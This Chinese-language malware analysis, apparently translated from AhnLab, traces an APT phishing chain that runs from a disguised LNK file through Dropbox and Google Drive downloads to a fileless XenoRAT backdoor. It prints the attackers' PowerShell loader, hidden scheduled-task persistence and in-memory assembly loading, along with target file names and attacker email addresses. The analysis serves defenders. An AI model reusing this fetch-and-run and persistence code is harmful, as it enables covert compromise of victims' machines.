研究人员发现,各类攻击者都在攻击行动中将恶意脚本、远控木马和诱饵文档等恶意文件上传到云服务器上,各种恶意文件组合起来完成恶意攻击。
某个攻击组织从发送钓鱼邮件到植入远控木马的过程如下所示:
攻击链
多个恶意文件串联起了整个攻击行动,因为所有文件都部署在云端,受害者可能还会下载分析人员不掌握的其他恶意软件。借助这些恶意软件,攻击者可以回传敏感信息等。
EXE 文件与 LNK 文件都是 APT 攻击中常用的文件,本文也以此类文件为例进行介绍。
通过 LNK 下载恶意软件
研究人员发现,LNK 文件伪装成 HTML 文件,还配备了引诱受害者点击的名称(Police Cyber Investigation Bureau – Internet Use History (check now to keep your PC safe).html.lnk)。
LNK 文件属性
LNK 文件包含 PowerShell 命令,解码 base64 编码的命令后会被保存在 TEMP 文件夹中的 ms_temp_08.ps1 文件里等待执行。
..\..\..\..\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
"$ss =\"[Base64-encoded commands]\";
$aa = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ss));
$cc = [System.IO.Path]::GetTempPath();
$dd = \"ms_temp_08.ps1\";
$ee = Join-Path $cc $dd;
$aa | Out-File -FilePath $ee;
$aaaaa= 89897878;
powershell -windowstyle hidden -ExecutionPolicy Bypass $ee"
而 ms_temp_08.ps1 会下载诱饵文档和其他恶意文件,再将其注册到计划任务中执行以下 PowerShell 命令:
$hhh = Join-Path ([System.IO.Path]::GetTempPath()) "Police Cyber Investigation Bureau - Internet Use History (check now to keep your PC safe).html";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/lpoo2f42y7x5uy6druxa0/SoJ****.html?rlkey=ckv37q02rh9j1qsw7ed28bimv&st=64zsdvba&dl=0" -OutFile $hhh; & $hhh;
$filePath = Join-Path ([System.IO.Path]::GetTempPath()) "ms_update.ps1";
$str = '$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "info.ps1"; Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/9d9msk907asjhilhjr75m/SoJ****-X.txt?rlkey=f8rydbv8tf28i9f2fwkrux6wo&st=78byjswv&dl=0" -OutFile $aaa; & $aaa;';
$str | Out-File -FilePath $filePath -Encoding UTF8;
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-WindowStyle Hidden -nop -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "& {$filePath = Join-Path ([System.IO.Path]::GetTempPath()) \"ms_update.ps1\";powershell -windowstyle hidden -ExecutionPolicy Bypass -File $filePath;}"';
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 30);
$settings = New-ScheduledTaskSettingsSet -Hidden;
Register-ScheduledTask -TaskName "MicrosoftUpdate" -Action $action -Trigger $trigger -Settings $settings;
$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "first.ps1";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/gswgcmbktt1hthntozgep/SoJ****-F.txt?rlkey=n9xglo02xfnf14b9btgtw8aqi&st=w9zt1es5&dl=0" -OutFile $aaa; & $aaa;
PowerShell 命令首先会下载诱饵文档(普通 HTML 文件),由于文件名与 LNK 文件相同,用户很难意识到存在恶意目的。但分析人员在分析时,已经无法下载后续的恶意文件了。
之后会在 TEMP 文件夹中创建一个名为 ms_update.ps1 的 PowerShell 脚本文件,并将其注册成名为 MicrosoftUpdate 的计划任务,每三十分钟运行一次。
计划任务
此外,还会从攻击者的 Dropbox 下载名为 SoJ****-F.txt 的文件,保存到 TEMP 文件夹中命名为 first.ps1 再执行。
如前所述,名为 info.ps1 的脚本文件如下所示:
$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "info.ps1";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/9d9msk907asjhilhjr75m/So****g-X.txt?rlkey=f8rydbv8tf28i9f2fwkrux6wo&st=78byjswv&dl=0" -OutFile $aaa; & $aaa;
分析过程中,分析人员发现攻击者的 Dropbox 中包含各种格式的诱饵文档,如 HTML 文件、Word 文件、HWP 文件与 PDF 文件,如下所示:
其他诱饵文档
其他诱饵文档
其他诱饵文档
其他诱饵文档
攻击者准备了各种主题的文件,包括大学合作申请、业务交付确认和与外交相关的事务。除此之外,攻击者还使用存款合同、保险合同与贷款合同等文件,其中包含特定的个人信息,攻击者似乎将恶意软件分发给特定的目标。
通过云端下载恶意软件
上述 LNK 文件会从云端下载 first.ps1 与 info.ps1 文件,尽管分析人员分析时未能从上述 Dropbox 上下载这些文件,但通过另一个 Dropbox 也获取了这些文件。
上传的文件以特定人员的名字命名,攻击者是根据具体受害者部署的攻击行动,部分文件名如下所示:
SoJ***g-F.txt
Kim***un-F.txt
I***ong-F.txt
Hong***a-F.txt
Jon***n-F.txt
0513chrome-f.txt
0514edge-f.txt
攻击者为每个用户都建立了独立的文件夹,文件中包含诱饵文档、[name]-F.txt
和 [name]-X.txt
文件。脚本文件均使用基于 Token 的身份验证方法对 Dropbox 进行身份验证,每个文件包含 client_id、client_secret 和 refresh_token。
[name]-F.txt
是包含 PowerShell 命令的脚本文件,启动后会收集用户的环境信息并将其上传到攻击者的 Dropbox。用户环境信息会被保存到 TEMP 或 APPDATA 文件夹中,文件命名格式为 [IP 地址]-[当前时间]-Run-[名称].txt
或者 [IP 地址]-[当前时间]-RRR-[名称].txt
。收集的信息如下所示:
- 操作系统名称、版本、BuildNumber 和 OSArchitecture
- 反病毒软件
- 上次启动时间
- PC 类型
- 处理信息
- PowerShell 执行策略
收集的信息随后回传到攻击者的 Dropbox:
回传信息
[name]-X.txt
也是包含 PowerShell 命令的脚本文件,主要用于回传与下载文件。该脚本文件会在 TEMP 或 APPDATA 文件夹中创建名为 [IP 地址]-[当前时间]-XXX-[名称].txt
的文件,后续回传到 Dropbox 上。分析时发现该文件并没有内容,可能是为了检查脚本是否正常执行。但后续攻击者改变代码,仍然可以执行其他恶意行为。
上传文件后,攻击者使用 Google Drive 而非 Dropbox 下载其他恶意软件。通过 Google Drive 下载的文件保存在 TEMP 文件夹中,名为 system-xn.dat。
$dropboxShareLink = "hxxps://drive.google.com/uc?export=download&id=[omitted]"
$tempPath = [System.IO.Path]::GetTempPath();
$filePath = Join-Path $tempPath "system-xn.dat"
Invoke-WebRequest -Uri $dropboxShareLink -OutFile $filePath
[byte[]]$bytes = [System.IO.File]::ReadAllBytes($filePath);
$bytes[0] = 0x1F;
$bytes[1] = 0x8B;
<omitted>
$assembly = [System.Reflection.Assembly]::Load($exBytes);
Remove-Item -Path $filePath
$name = "Main";
foreach ($type in $assembly.GetTypes()){foreach ($method in $type.GetMethods()){if (($method.Name.ToLower()).equals($name.ToLower())){$method.Invoke($null, @());}}}
攻击者将文件的头部部分进行了修改,使其看起来很像 RTF 文件格式。
修改了文件内容
将修改的内容改为 GZ 文件对应的字段后,即可打开压缩文件:
压缩文件
解压后是一个 C# 文件,攻击者调用 Main 方法运行该文件以便恶意软件可以通过无文件的方式执行。
最终载荷
最后,攻击者要启动的是 XenoRAT 远控木马。该木马可以根据攻击者的命令达成各种恶意目的,如加载恶意软件、启动/终止进程以及与 C&C 服务器通信等。该恶意软件是攻击者定制开发的,互斥量为 swolf-20010512
。
远控木马
攻击者使用的电子邮件地址如下所示:
kumasancar@gmail[.]com
effortnully@gmail[.]com
tangdang77790@gmail[.]com
tantanibox@gmail.com
swolf0512@gmail[.]com
总结
攻击者在云端存储各种诱饵文件与泄露数据,并且攻击者往往是针对特定目标进行定向攻击,窃取信息后部署远控木马。建议用户提高警惕,在运行文件之前务必检查文件的扩展名和文件格式是否匹配。
参考来源
Ahnlab